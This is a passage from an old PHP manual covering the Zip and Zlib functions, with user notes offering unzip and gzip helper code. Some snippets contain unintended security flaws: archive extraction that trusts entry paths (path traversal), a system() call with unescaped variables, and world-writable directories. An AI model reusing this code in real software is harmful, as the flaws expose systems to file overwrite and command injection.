           $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
           $dir_name = dirname(zip_entry_name($zip_entry));
           if ($dir_name != ".") {
             $dir_op = $dir.$file."/";
               foreach ( explode("/",$dir_name) as $k) {
                 $dir_op = $dir_op . $k;
                 if (is_file($dir_op)) unlink($dir_op);
                 if (!is_dir($dir_op)) mkdir($dir_op);
                 $dir_op = $dir_op . "/" ;
                 }
               }
           $fp=fopen($dir.$file."/".zip_entry_name($zip_entry),"w");
           fwrite($fp,$buf);
           zip_entry_close($zip_entry);
       } else
           return false;
       }
       zip_close($zip);
     }
  } else
     return false;

  return true;
}
?>
kristiankjaer AT gmail DOT com
06-Dec-2004 08:06
Here is a function if all you need is to unpack an archive:

function unpackZip($dir,$file) {
   $root=$_SERVER['DOCUMENT_ROOT'];

   if ($zip = zip_open($root.$dir.$file.".zip")) {
     if ($zip) {
       mkdir(".".$dir.$file);
       while ($zip_entry = zip_read($zip)) {
         if (zip_entry_open($zip,$zip_entry,"r")) {
           $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
           $fp=fopen(".".$dir.$file."/".zip_entry_name($zip_entry),"w");
           fwrite($fp,$buf);
           zip_entry_close($zip_entry);
       } else
           return false;
       }
       zip_close($zip);
     }
  } else
     return false;

  return true;
}
01-Jul-2004 08:40
PKZipfiles (or Winzip files) can be easily created by using my Ziplib class, can be found on http://sourceforge.net/projects/phpziplib . All it requires is PHP to be compiled with zlib, and support for classes(don't know when they've been added, but I think with PHP4 you're safe).
php at isaacschlueter dot com
24-Jun-2004 07:15
If you don't have the --with-zip=DIR compile option and can't change it, but you do have --with-pear, then you can use the pear Archive_Zip class available at http://cvs.php.net/pear/Archive_Zip/

As of 2004-06-23, the class isn't packaged and auto-documented yet, but like all pear classes, the comments are extremely verbose and helpful, and you can download the php file as a standalone.  Just include the Zip.php in your project, and you can use the class.
krishnendu at spymac dot com
31-May-2004 04:28
If you want to unzip an password protected file with php..try the following command....it works in Unix/Apache environment...I haven't tested in any other environment...

system("`which unzip` -P Password $zipfile -d $des",$ret_val)

Where $zipfile is the path to the .zip to be unzipped and $des is path to the destination directory.....here both absolute and relative path to the script (which contains this system command) will work...

if everything runs well...file should be unzipped at the $des directory..and you will get 0 value for $ret_val , which means success(info-zip.org)

Regards
Krishnendu
postmaster at alishomepage dot com
24-Jan-2004 07:28
I have written an OpenSource ZIP2FTP interface, which actually takes a given ZIP file and decompresses it in the folder on an FTP server you specify...

Therefore it may be quite interesting for you people interested in ZIP, its adress is http://zip2ftp.alishomepage.com ; those who directly want the source may visit http://zip2ftp.alishomepage.com/?do=getSource
Hannes Gassert
02-Dec-2003 01:53
As of lately this extension has moved to PECL. You find it at it's new home at http://pecl.php.net/package/zip.
`pear install http://pecl.php.net/get/zip-1.0.tgz ` installs it, use dl('zip.so'); to load it after successful installation.
master_auer at web dot de
17-Nov-2003 08:49
Hey guys, maybe you should check this out:
http://www.phpconcept.net/pclzip/index.en.php

A complete library to write and read ZIP files. The only requirement is zLib.

Hope I could help

Regards
Manuel
vbwebprofi at gmx dot de
13-Nov-2003 01:05
For more informations about the ZIP-format visit this document :

http://www.pkware.com/products/enterprise/white_papers/appnote.html

So you be able to write your own ZIP and UNZIP code ... ;o)

Regards

Holger
Joris P.
05-Sep-2003 12:36
"If you just want to unzip everything of a zip file in a directory"

Watch out with that function, your fopen function uses 'r' instead of 'rb' and the fwrite does not include a filesize. So if you have binary files into that zip file (what you probably do), it will go wrong...
phpContrib (A T) esurfers d o t c o m
19-Jul-2003 05:41
Sometimes you may not be able to install the necessary resources to run the ZIP lib. Maybe because you have no control of the server, or maybe because you cannot find the correct libraries for your php...

Anyway do not despair, there is another solution!

I was in this situation (my client could not install it on the server) so I developed a small libraryin pure PHP that is compatible with PHP's own lib but uses the commandline 'unzip' command directly form PHP. You can configure it to use any commandline unzipping tool (so it should work even with other compressed files, as long as there is a commandline tool). It should work on most platforms with an unzip command (Win32 included) although I have tested only under unix.

What it does exactly, is replacing all the functions of the Zip library with equivalent ones. So the example in this page will work (just rename every zip_... function m_zip_...):

<?php

$zip =m_zip_open("/tmp/test2.zip");

if ($zip) {

   while ($zip_entry = m_zip_read($zip)) {
       echo "Name:              " . m_zip_entry_name($zip_entry) . "\n";
       echo "Actual Filesize:    " . m_zip_entry_filesize($zip_entry) . "\n";
       echo "Compressed Size:    " . m_zip_entry_compressedsize($zip_entry) . "\n";
       echo "Compression Method: " . m_zip_entry_compressionmethod($zip_entry) . "\n";

       if (m_zip_entry_open($zip, $zip_entry, "r")) {
           echo "File Contents:\n";
           $buf = m_zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
           echo "$buf\n";

           m_zip_entry_close($zip_entry);
       }
       echo "\n";

   }

   m_zip_close($zip);

}

?>

The library will create a new folder and call unzip on the file when you call m_zip_open().
It will get rid of all the unzipped things when you call m_zip_close().
It will walk the directory structure of the ZIP file as you call m_zip_read($zip) getting into directories and then out again.
Then you will be able to read chunks of (or th whole) files with m_zip_entry_read()

: : :  INCOMPATIBILITIES  : : :
Once the zipfile is unzipped, I will have no way to know the size of the entries or the compression methods, so the functions m_zip_entry_compressedsize() and m_zip_entry_compressionmethod() just return a '?'.

Of course what zipfiles will be compatible and what not will dependo on the command line tool you choose to use.

: : :  CONFIGURATION  : : :
There are two things to setup:

A path to a directory where we can create subfolders and unzip things:

define('UNZIP_DIR','/data/fandango/html/update/unzipped/');

The command to invoke to unzip the files:

define('UNZIP_CMD','unzip -o @_SRC_@ -x -d @_DST_@');

DO NOT REMOVE THE @_SRC_@ and @ _DST_@ markers. This is where the library will put the source file name you pass and the destination subfolder (it will create a subfolder of UNZIP_DIR and pass that)

: : :  DOWNLOAD  : : :
You will find the library and a demo file (with the example on this page) at http://esurfers.com/m-zip/
travis
18-Jun-2003 01:06
just a not of caution--using the dynamic zip class mentioned earlier seems to cause issues with high ascii characters (their values are not preserved correctly, and the file will not unzip)
NOSP at M dot patrick_allaert(AROBAS)pandora dot be
09-Apr-2003 01:08
If you just want to unzip everything of a zip file in a directory (and create unexisting directories), let's try this:

function unzip($file, $path) {
  $zip = zip_open($file);
  if ($zip) {
   while ($zip_entry = zip_read($zip)) {
     if (zip_entry_filesize($zip_entry) > 0) {
       // str_replace must be used under windows to convert "/" into "\"
       $complete_path = $path.str_replace('/','\\',dirname(zip_entry_name($zip_entry)));
       $complete_name = $path.str_replace ('/','\\',zip_entry_name($zip_entry));
       if(!file_exists($complete_path)) {
         $tmp = '';
         foreach(explode('\\',$complete_path) AS $k) {
           $tmp .= $k.'\\';
           if(!file_exists($tmp)) {
             mkdir($tmp, 0777);
           }
         }
       }
       if (zip_entry_open($zip, $zip_entry, "r")) {
         $fd = fopen($complete_name, 'w');
         fwrite($fd, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
         fclose($fd);
         zip_entry_close($zip_entry);
       }
     }
   }
   zip_close($zip);
  }
}

To use this function:
unzip('c:\\file.zip','c:\\temp\\'); // BE CAREFULL: second argument *MUST* finish by a "\" ! ("/" under *nix)

Patrick
chris
23-Mar-2003 02:32
Watch out with archives that contain subfolders if you're using the zip functions to extract archives to actual files.  Let's say you're trying to extract foldername/filename.txt from the archive.  You can't fopen a directory that doesn't exist, so you'll have to check for the existance of directory foldername and create it if it isn't found, then fopen foldername/filename.txt and begin writing to that.
ottawasixtyseven at hotmail dot com
30-Oct-2002 04:04
WOW ... after weeks and weeks of research I thought I'd make somebody elses life a little easier. If you're wondering how to make PHP 4.2.3 read windows zip files (winzip, pkzip, etc) do this:

NOTE: THIS IS FOR WINDOWS SERVERS NOT LINUX OR OTHER. You need zziplib for Linux. http://zziplib.sourceforge.net/

ON PHP WINDOWS SERVER

1) Grab the php_zip.dll from the extensions dir in php-4.3.0pre2-Win32.zip

2) Add a line extension=php_zip.dll to your php.ini

3) Restart your web server

php_zip.dll obviously works on PHP 4.3.0pre2 but you can't run Zend Optimizer on PHP 4.3 (yet). You can run Zend Optimizer on PHP 4.2.3 but it doesn't ship with php_zip.dll. The php_zip.dll that ships with PHP 4.3.0pre2 may even work with older version but I haven't tested that.

For documentation on how to use the zip functions (not the gzip functions that are documented on the php site) go here:

http://zziplib.sourceforge.net/zziplib.html

Newbie Von Greenhorn
a1cypher at shaw dot ca
11-Oct-2002 08:28
For creating zip files, I highly suggest that you have a look at the class used in phpMyAdmin.  It makes it very easy to do and it appears to be opensource.
bermi[arroba]akelos.com
04-Oct-2002 09:27
Here is a link to a class for creating and reading zip files
http://www.phpconcept.net/pclzip/
guidod at gmx dot de
17-Apr-2002 02:22
- look at - http://zipios.sf.net -
it is a C++ class that can also write zip files.
it is modelled after the resp. java interface.

Please also note that I (Guido Draheim) can not
answer questions on compiling zziplib-support
into php, I did not add it, and I do not know
anything about the php module interface. If you
find bugs or have suggestions for more features
then I would be pleased to hear about it. TIA, guido
fbiggun at hotmail dot com
04-Jan-2002 05:29
Check out these pages on the Zend Web Site. The author of the zipfile class explains how his class runs!

Have fun ;)

http://www.zend.com/zend/spotlight/creating-zip-files1.php
http://www.zend.com/zend/spotlight/creating-zip-files2.php
http://www.zend.com/zend/spotlight/creating-zip-files3.php
vangoethem at hotmail dot com
28-Dec-2001 03:51
If you are looking for a way to create ZIP files dynamically in PHP, you should look at the wonderful zipfile class.
It seems there is no official page for this class. You may get it by retrieving the zip.lib.php from the PhpMyAdmin 2.5.2:
http://www.phpmyadmin.net/
add a note add a note

后退 | 起点 | 前进
yp_order | 上一级 | zip_close


zip_close

(PHP 4 >= 4.1.0, PECL)

zip_close -- Close a ZIP file archive

说明

void zip_close ( resource zip )

Closes the given ZIP file archive.

参数

zip

A ZIP file previously opened with zip_open().

返回值

无返回值。

参见

zip_open()
zip_read()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Zip File Functions (Read Only Access) | 上一级 | zip_entry_close


zip_entry_close

(PHP 4 >= 4.1.0, PECL)

zip_entry_close -- Close a directory entry

说明

void zip_entry_close ( resource zip_entry )

Closes the specified directory entry.

参数

zip_entry

A directory entry previously opened zip_entry_open().

返回值

无返回值。

参见

zip_entry_open()
zip_entry_read()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zip_close | 上一级 | zip_entry_compressedsize


zip_entry_compressedsize

(PHP 4 >= 4.1.0, PECL)

zip_entry_compressedsize -- Retrieve the compressed size of a directory entry

说明

int zip_entry_compressedsize ( resource zip_entry )

Returns the compressed size of the specified directory entry.

参数

zip_entry

A directory entry returned by zip_read().

返回值

The compressed size.

参见

zip_open()
zip_read()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zip_entry_close | 上一级 | zip_entry_compressionmethod


zip_entry_compressionmethod

(PHP 4 >= 4.1.0, PECL)

zip_entry_compressionmethod -- Retrieve the compression method of a directory entry

说明

string zip_entry_compressionmethod ( resource zip_entry )

Returns the compression method of the directory entry specified by zip_entry.

参数

zip_entry

A directory entry returned by zip_read().

返回值

The compression method.

参见

zip_open()
zip_read()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zip_entry_compressedsize | 上一级 | zip_entry_filesize


zip_entry_filesize

(PHP 4 >= 4.1.0, PECL)

zip_entry_filesize -- Retrieve the actual file size of a directory entry

说明

int zip_entry_filesize ( resource zip_entry )

Returns the actual size of the specified directory entry.

参数

zip_entry

A directory entry returned by zip_read().

返回值

The size of the directory entry.

参见

zip_open()
zip_read()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zip_entry_compressionmethod | 上一级 | zip_entry_name


zip_entry_name

(PHP 4 >= 4.1.0, PECL)

zip_entry_name -- Retrieve the name of a directory entry

说明

string zip_entry_name ( resource zip_entry )

Returns the name of the specified directory entry.

参数

zip_entry

A directory entry returned by zip_read().

返回值

The name of the directory entry.

参见

zip_open()
zip_read()

add a note add a note User Contributed Notes
leandro_dealmeida at hotmail dot com
28-Sep-2002 12:21
If you want to get the real name of the file without the directory name, you can just use the function basename() as the follow:

<?
$zip_dir = "./import/";
$zip = zip_open($zip_dir."import.zip");
if ($zip) {
   while ($zip_entry = zip_read($zip)) {

       $file = basename(zip_entry_name($zip_entry));
       $fp = fopen($zip_dir.basename($file), "w+");

       if (zip_entry_open($zip, $zip_entry, "r")) {
           $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
           zip_entry_close($zip_entry);
       }

           fwrite($fp, $buf);
       fclose($fp);

       echo "The file ".$file." was extracted to dir ".$zip_dir."\n<br>";
   }
   zip_close($zip);
}
?>

Thefore you can extract files without concern with the directory that is set inside the zip source.

Remember to give write permission (w) on that directory.

Hello from Brazil.
Leandro
add a note add a note

后退 | 起点 | 前进
zip_entry_filesize | 上一级 | zip_entry_open


zip_entry_open

(PHP 4 >= 4.1.0, PECL)

zip_entry_open -- Open a directory entry for reading

说明

bool zip_entry_open ( resource zip, resource zip_entry [, string mode] )

Opens a directory entry in a zip file for reading.

参数

zip

A valid resource handle returned by zip_open().

zip_entry

A directory entry returned by zip_read().

mode

Any of the modes specified in the documentation of fopen().

注: Currently, mode is ignored and is always "rb". This is due to the fact that zip support in PHP is read only access.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

注: Unlike fopen() and other similar functions, the return value of zip_entry_open() only indicates the result of the operation and is not needed for reading or closing the directory entry.

参见

zip_entry_close()
zip_entry_read()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zip_entry_name | 上一级 | zip_entry_read


zip_entry_read

(PHP 4 >= 4.1.0, PECL)

zip_entry_read -- Read from an open directory entry

说明

string zip_entry_read ( resource zip_entry [, int length] )

Reads from an open directory entry.

参数

zip_entry

A directory entry returned by zip_read().

length

The number of bytes to return. If not specified, this function will attempt to read 1024 bytes.

注: This should be the uncompressed length you wish to read.

返回值

Returns the data read, or FALSE if the end of the file is reached.

参见

zip_entry_open()
zip_entry_close()
zip_entry_filesize()

add a note add a note User Contributed Notes
Matt
17-Nov-2005 08:53
When reading from a zip file if the initial call to zip_entry_read() returns false it would be advisable to run mkdir with the file name since it it very likely that the zero length file was a directory and attempts to save the files within the directory will fail if you dont create it first
add a note add a note

后退 | 起点 | 前进
zip_entry_open | 上一级 | zip_open


zip_open

(PHP 4 >= 4.1.0, PECL)

zip_open -- Open a ZIP file archive

说明

resource zip_open ( string filename )

Opens a new zip archive for reading.

参数

filename

The file name of the ZIP archive to open.

返回值

Returns a resource handle for later use with zip_read() and zip_close() or returns FALSE if filename does not exist.

参见

zip_read()
zip_close()

add a note add a note User Contributed Notes
Michael
09-Jun-2006 04:55
I tried the replacement hack above on Windows2k, here
are some fixes needed:
replace:
  return "'".str_replace("'", "'\''", $s)."'";
with:
  return '"'.str_replace("'", "'\''", $s).'"';

replace:
if($line[0]=='-') { $ok=!$ok; continue; }
with:
if($line[2]=='-') { $ok=!$ok; continue; }

replace:
 $contents[] = Array('name' => $fn, 'length' => $length);
with:
   array_push($contents, Array('name' => $fn, 'length' => $length));
ponsho
14-Dec-2005 04:44
For bisqwit at iki dot fi solution of alternative functions there's just one problem when trying to read the file thats because some bug in fread when handling from popen so it just load 8192 bytes here's the function corrected.

<?php

   function zip_entry_read(&$res, $nbytes)
   {
     while ($s = fgets($res['fp'],1024)) {
     $data  .= $s;
     }
     return $data;
   }
?>
barbarinasv at interfree dot it
05-Oct-2005 04:02
Function zip_entry_read() written by "bisqwit at iki dot fi" has to be modified to read entire files:

<?php
function zip_entry_read(&$res, $nbytes) {
   while (!feof($res['fp'])) {
       $contents .= fread($res['fp'], $nbytes);
   }
   return $contents;
}
?>
robert at cotran dot ca
22-Sep-2005 03:19
The zip_entry_read above is wrong.  Since the file was opened with popen, you have to read the file in chunks, so zip_entry_read should read:

function zip_entry_read(&$res, $nbytes)
{
   $contents = '';
   while (!feof($res['fp'])) {
       $contents .= fread($res['fp'], 8192);
   }
   return $contents;
}

Otherwise, it was a very useful library.  Thanks!
bisqwit at iki dot fi
02-Sep-2005 07:08
If your PHP installation does not have the zip_open function, and you can't install it for whatever reason, you can use these functions instead, if the server has access to the "unzip" utility (most Linux systems do).
So far I have tested these only in Fedora Core 3.
Use at your own risk.

<?php

function ShellFix($s)
{
  return "'".str_replace("'", "'\''", $s)."'";
}

function zip_open($s)
{
  $fp = @fopen($s, 'rb');
  if(!$fp) return false;

  $lines = Array();
  $cmd = 'unzip -v '.shellfix($s);
  exec($cmd, $lines);

  $contents = Array();
  $ok=false;
  foreach($lines as $line)
  {
   if($line[0]=='-') { $ok=!$ok; continue; }
   if(!$ok) continue;

   $length = (int)$line;
   $fn = trim(substr($line,58));

   $contents[] = Array('name' => $fn, 'length' => $length);
  }

  return
   Array('fp'      => $fp,
         'name'    => $s,
         'contents' => $contents,
         'pointer'  => -1);
}
function zip_read(&$fp)
{
  if(!$fp) return false;

  $next = $fp['pointer'] + 1;
  if($next >= count($fp['contents'])) return false;

  $fp['pointer'] = $next;
  return $fp['contents'][$next];
}
function zip_entry_name(&$res)
{
  if(!$res) return false;
  return $res['name'];
}
function zip_entry_filesize(&$res)
{
  if(!$res) return false;
  return $res['length'];
}
function zip_entry_open(&$fp, &$res)
{
  if(!$res) return false;

  $cmd = 'unzip -p '.shellfix($fp['name']).' '.shellfix($res['name']);

  $res['fp'] = popen($cmd, 'r');
  return !!$res['fp'];
}
function zip_entry_read(&$res, $nbytes)
{
  return fread($res['fp'], $nbytes);
}
function zip_entry_close(&$res)
{
  fclose($res['fp']);
  unset($res['fp']);
}
function zip_close(&$fp)
{
  fclose($fp['fp']);
}
?>
ajbaas at cs dot uu dot nl
14-Oct-2004 03:08
note: if you are using PHP in module mode, the open_zip function will need an absolute path to the file, because it is not aware of it's whereabouts. this is for win32 at least.
add a note add a note

后退 | 起点 | 前进
zip_entry_read | 上一级 | zip_read


zip_read

(PHP 4 >= 4.1.0, PECL)

zip_read -- Read next entry in a ZIP file archive

说明

resource zip_read ( resource zip )

Reads the next entry in a zip file archive.

参数

zip

A ZIP file previously opened with zip_open().

返回值

Returns a directory entry resource for later use with the zip_entry_... functions or FALSE if there's no more entries to read.

参见

zip_open()
zip_close()
zip_entry_open()
zip_entry_read()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
zip_open | 上一级 | Zlib Compression Functions


Zlib Compression Functions

PHP 手册
后退 前进

CLXIV. Zlib Compression Functions

简介

This module enables you to transparently read and write gzip (.gz) compressed files, through versions of most of the filesystem functions which work with gzip-compressed files (and uncompressed files, too, but not with sockets).

注: Version 4.0.4 introduced a fopen-wrapper for .gz-files, so that you can use a special 'zlib:' URL to access compressed files transparently using the normal f*() file access functions if you prepend the filename or path with a 'zlib:' prefix when calling fopen().

In version 4.3.0, this special prefix has been changed to 'zlib://' to prevent ambiguities with filenames containing ':'.

This feature requires a C runtime library that provides the fopencookie() function. To my current knowledge the GNU libc is the only library that provides this feature.

需求

This module uses the functions of zlib by Jean-loup Gailly and Mark Adler. You have to use a zlib version >= 1.0.9 with this module.

安装

Zlib support in PHP is not enabled by default. You will need to configure PHP --with-zlib[=DIR]

PHP 的 Windows 版本已经内置该扩展模块的支持。无需加载任何附加扩展库即可使用这些函数。

注: Builtin support for zlib on Windows is available with PHP 4.3.0.

运行时配置

这些函数的行为受 php.ini 的影响。

The zlib extension offers the option to transparently compress your pages on-the-fly, if the requesting browser supports this. Therefore there are three options in the configuration file php.ini.

表格 1. Zlib Configuration Options

Name | Default | Changeable | Changelog
zlib.output_compression | "0" | PHP_INI_ALL | Available since PHP 4.0.5.
zlib.output_compression_level | "-1" | PHP_INI_ALL | Available since PHP 4.3.0.
zlib.output_handler | "" | PHP_INI_ALL | Available since PHP 4.3.0.
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

zlib.output_compression boolean/integer

Whether to transparently compress pages. If this option is set to "On" in php.ini or the Apache configuration, pages are compressed if the browser sends an "Accept-Encoding: gzip" or "deflate" header. "Content-Encoding: gzip" (respectively "deflate") and "Vary: Accept-Encoding" headers are added to the output. In runtime, it can be set only before sending any output.

This option also accepts integer values instead of boolean "On"/"Off", using this you can set the output buffer size (default is 4KB).

注: output_handler must be empty if this is set 'On' ! Instead you must use zlib.output_handler.

zlib.output_compression_level integer

Compression level used for transparent output compression.

zlib.output_handler string

You cannot specify additional output handlers if zlib.output_compression is activated here. This setting does the same as output_handler but in a different order.

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

FORCE_GZIP (integer)

FORCE_DEFLATE (integer)

范例

This example opens a temporary file and writes a test string to it, then it prints out the content of this file twice.

例子 1. Small Zlib Example

<?php

$filename = tempnam('/tmp', 'zlibtest') . '.gz';
echo "<html>\n<head></head>\n<body>\n<pre>\n";
$s = "Only a test, test, test, test, test, test, test, test!\n";

// open file for writing with maximum compression
$zp = gzopen($filename, "w9");

// write string to file
gzwrite($zp, $s);

// close file
gzclose($zp);

// open file for reading
$zp = gzopen($filename, "r");

// read 3 char
echo gzread($zp, 3);

// output until end of the file and close it.
gzpassthru($zp);
gzclose($zp);

echo "\n";

// open file and print content (the 2nd time).
if (readgzfile($filename) != strlen($s)) {
        echo "Error with zlib functions!";
}
unlink($filename);
echo "</pre>\n</body>\n</html>\n";

?>
目录
gzclose -- Close an open gz-file pointer
gzcompress -- Compress a string
gzdeflate -- Deflate a string
gzencode -- Create a gzip compressed string
gzeof -- Test for end-of-file on a gz-file pointer
gzfile -- Read entire gz-file into an array
gzgetc -- Get character from gz-file pointer
gzgets -- Get line from file pointer
gzgetss -- Get line from gz-file pointer and strip HTML tags
gzinflate -- Inflate a deflated string
gzopen -- Open gz-file
gzpassthru -- Output all remaining data on a gz-file pointer
gzputs -- 别名 gzwrite()
gzread -- Binary-safe gz-file read
gzrewind -- Rewind the position of a gz-file pointer
gzseek -- Seek on a gz-file pointer
gztell -- Tell gz-file pointer read/write position
gzuncompress -- Uncompress a compressed string
gzwrite -- Binary-safe gz-file write
readgzfile -- Output a gz-file
zlib_get_coding_type -- Returns the coding type used for output compression

add a note add a note User Contributed Notes
Arne dot Heizmann at csr dot com
24-May-2006 01:34
PHP Version 5.1.4 here. What Bob said is correct even in this version (newest at the time of writing). You can't enable zlib.output_compression via ini_set(). You have to use php.ini.
Bob
19-Sep-2005 09:45
Contrary to what the documentation says, I've been unable to get zlib.output_compression to work via ini_set() (Even though I put it at the very beginning of the file before any output was sent) as of php 4.3.11.  While it does get set to true, it will not actually do anything. Which means if you don't set this via php.ini or Apache configuration it's a no-go. I have to use ob_start("ob_gzhandler"); instead.
djmaze(AT)dragonflycms(.)org
27-Aug-2005 11:27
If you need to compress data and send it as "Content-disposition: attachment" and on-the-fly to the client due to the size for example (40Mb) here's a dirty trick using ob_gzhandler()

Keep in mind that $str is the content to output.

When you start the output call

<?php
echo ob_gzhandler($str, PHP_OUTPUT_HANDLER_START);
?>

Then to output any further content

<?php
echo ob_gzhandler($str, PHP_OUTPUT_HANDLER_CONT);
?>

And to close the output

<?php
echo ob_gzhandler('', PHP_OUTPUT_HANDLER_END);
exit;
?>

Only tested on Apache 1.3.33 with PHP 5.0.4
ghassler at speakeasy dot net
04-Jul-2005 12:45
I tested all the compression levels against a 22k page and here are the results I got (in bytes):

off = 22549
1 = 4297
2 = 4279
3 = 4264
4 = 4117
5 = 4097
6 = 4063
7 = 4011
8 = 3998
9 = 3996

Looks like the best bets for zlib.output_compression_level is 1 or 5.  The default of 6 is probably OK too.  Don't know what the CPU usage difference is between them all though.
jpleveille at webgraphe dot com
10-Jun-2005 09:08
register_shutdown_function() (http://www.php.net/register_shutdown_function) won't output anything if you use zlib.output_compression.

Shutdown function is called after closing all opened output buffers thus, for example, its output will not be compressed if zlib.output_compression is enabled.
admin_at_commandline_dot_ch
08-Oct-2004 08:32
My gzip function.

This function read, compress and writhe only small chunks at one time, this way you can compress big files without memory problems...

<?php
function gzip($src, $level = 5, $dst = false){
   if($dst == false){
       $dst = $src.".gz";
   }
   if(file_exists($src)){
       $filesize = filesize($src);
       $src_handle = fopen($src, "r");
       if(!file_exists($dst)){
           $dst_handle = gzopen($dst, "w$level");
           while(!feof($src_handle)){
               $chunk = fread($src_handle, 2048);
               gzwrite($dst_handle, $chunk);
           }
           fclose($src_handle);
           gzclose($dst_handle);
           return true;
       } else {
           error_log("$dst already exists");
       }
   } else {
       error_log("$src doesn't exist");
   }
   return false;
}
?>
gem at rellim dot com
14-Jul-2004 11:03
Run, do not walk, run, to add this to your Apache config file:

php_flag zlib.output_compression On
php_value zlib.output_compression_level 5

I just tried this and achieved 10x and 15x speed inprovement on
some mature php pages.  Pages I have been seating over to make 5% gains on.  I use microtime() on critical pages to help me track page speed and that confirms the speed improvement.  The php page takes a timestamp at the beginning and end, then logs the page duration.  So any IP transmission effects are not included.  There is
a clear subjective difference to the user.

The test system was PHP 4.3.6, Apache 2.0.49 over Linux 2.4.
As always YMMV.
zigazou at free dot fr
12-Jun-2004 06:44
If you use "zlib.output_compression = On" in your php.ini file, and activates output buffering (ob_start), don't output this header :
header('Content-Length: '.ob_get_length());

This is because ob_get_length() will return the uncompressed size while zlib will compress the output. Thus your browser will get confused waiting for extra data that will never come.
xorinox at tiscali dot ch
04-Jun-2004 10:52
Have a look to this extended version :)

<?php

function compress( $srcFileName, $dstFileName )
{
   // getting file content
   $fp = fopen( $srcFileName, "r" );
   $data = fread ( $fp, filesize( $srcFileName ) );
   fclose( $fp );

   // writing compressed file
   $zp = gzopen( $dstFileName, "w9" );
   gzwrite( $zp, $data );
   gzclose( $zp );
}

function uncompress( $srcFileName, $dstFileName, $fileSize )
{
   // getting content of the compressed file
   $zp = gzopen( $srcFileName, "r" );
   $data = fread ( $zp, $fileSize );
   gzclose( $zp );

   // writing uncompressed file
   $fp = fopen( $dstFileName, "w" );
   fwrite( $fp, $data );
   fclose( $fp );
}

compress( "tmp/supportkonzept.rtf", "tmp/_supportkonzept.rtf.gz" );
uncompress( "tmp/_supportkonzept.rtf.gz", "tmp/_supportkonzept.rtf", filesize( "tmp/supportkonzept.rtf" ) );

?>
ec10 at gmx dot net
21-May-2004 02:38
/**
 * @return bool
 * @param string $in
 * @param string $out
 * @param string $param = "1"
 * @desc compressing the file with the zlib-extension
*/
function gzip ($in, $out, $param="1")
{
   if (!file_exists ($in) || !is_readable ($in))
       return false;
   if ((!file_exists ($out) && !is_writable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
       return false;

   $in_file = fopen ($in, "rb");
   if (!$out_file = gzopen ($out, "wb".$param)) {
       return false;
   }

   while (!feof ($in_file)) {
       $buffer = fgets ($in_file, 4096);
       gzwrite ($out_file, $buffer, 4096);
   }

   fclose ($in_file);
   gzclose ($out_file);

   return true;
}

/**
 * @return bool
 * @param string $in
 * @param string $out
 * @desc uncompressing the file with the zlib-extension
*/
function gunzip ($in, $out)
{
   if (!file_exists ($in) || !is_readable ($in))
       return false;
   if ((!file_exists ($out) && !is_writable (dirname ($out)) || (file_exists($out) && !is_writable($out)) ))
       return false;

   $in_file = gzopen ($in, "rb");
   $out_file = fopen ($out, "wb");

   while (!gzeof ($in_file)) {
       $buffer = gzread ($in_file, 4096);
       fwrite ($out_file, $buffer, 4096);
   }

   gzclose ($in_file);
   fclose ($out_file);

   return true;
}
spam at wildpeaks dot com
14-May-2004 10:04
For decompressing, i modified a function posted earlier (that way $string doesn't have a big size that may be beyond the memory limit if the gzipped file is big) :

function file_ungzip($fromFile, $toFile) {
   $zp = @gzopen($fromFile, "r");
   $fp = @fopen($toFile, "w");
   while(!@gzeof($zp)) {$string = @gzread($zp, 4096); @fwrite($fp, $string, strlen($string));}
   @gzclose($zp);
   @fclose($fp);
}
thivierr at telus dot net
17-Nov-2003 08:02
I found the absolute easiest way to read a gzip file is as follows:

echo file_get_contents("compress.zlib:///myphp/test.txt.gz");

To create a gzip file:
file_put_contents("compress.zlib:///myphp/test.txt.gz","Put this in the file\r\n");

Things to note about this:
-The best prefix to use is "compress.zlib", not "zlib"
-If you wish to specify a path starting in the root path, you actually end up with three slashes.  The above path corresponds to "/myphp/test.txt" on unix, and "c:\myphp\test.txt" on Windows (if C: is the current drive).  I tested it just on Windows.
-Compression and decompression both use the same prefix of "compress.zlib://" (plus one more slash to get a root dir).
-I'm using 5.0, so I'm not 100% sure which behaviour started in which version.
chris at mad-teaparty dot com
28-May-2003 08:10
Nice function. I did it the other way round:

function uncompress($srcName, $dstName) {
   $zp = gzopen($srcName, "r");
   while(!gzeof($zp))
       $string .= gzread($zp, 4096);
   gzclose($zp);

   $fp = fopen($dstName, "w");
   fwrite($fp, $string, strlen($string));
   fclose($fp);
}

uncompress("./myfile.txt.gz", "./myfile.txt");

A shorter approach would be:

function uncompress($srcName, $dstName) {
  $string = implode("", gzfile($srcName));
  $fp = fopen($dstName, "w");
  fwrite($fp, $string, strlen($string));
  fclose($fp);
}
devcontact at tech-island dot com
24-Mar-2003 11:47
The method of first reading the source file and then passing its content to the gzip function instead of simply the source and destination filename was a bit confusing for me.

So I have written a simple funtion you can use to compress files in the gzip format (gzip is readable by winzip like .zip files)

function compress($srcName, $dstName)
{
  $fp = fopen($srcName, "r");
  $data = fread ($fp, filesize($srcName));
  fclose($fp);

  $zp = gzopen($dstName, "w9");
  gzwrite($zp, $data);
  gzclose($zp);
}

// Compress a file
compress("/web/myfile.dat", "/web/myfile.gz");
mlevy at rgj dot com
13-Feb-2003 06:06
If you turn zlib.output_compression_level on, be advised that you shouldn't try to flush() the output in your scripts. PHP will add the gzip header but send the output uncompressed, which plays havoc with Mozilla. IE seems to handle it, though.
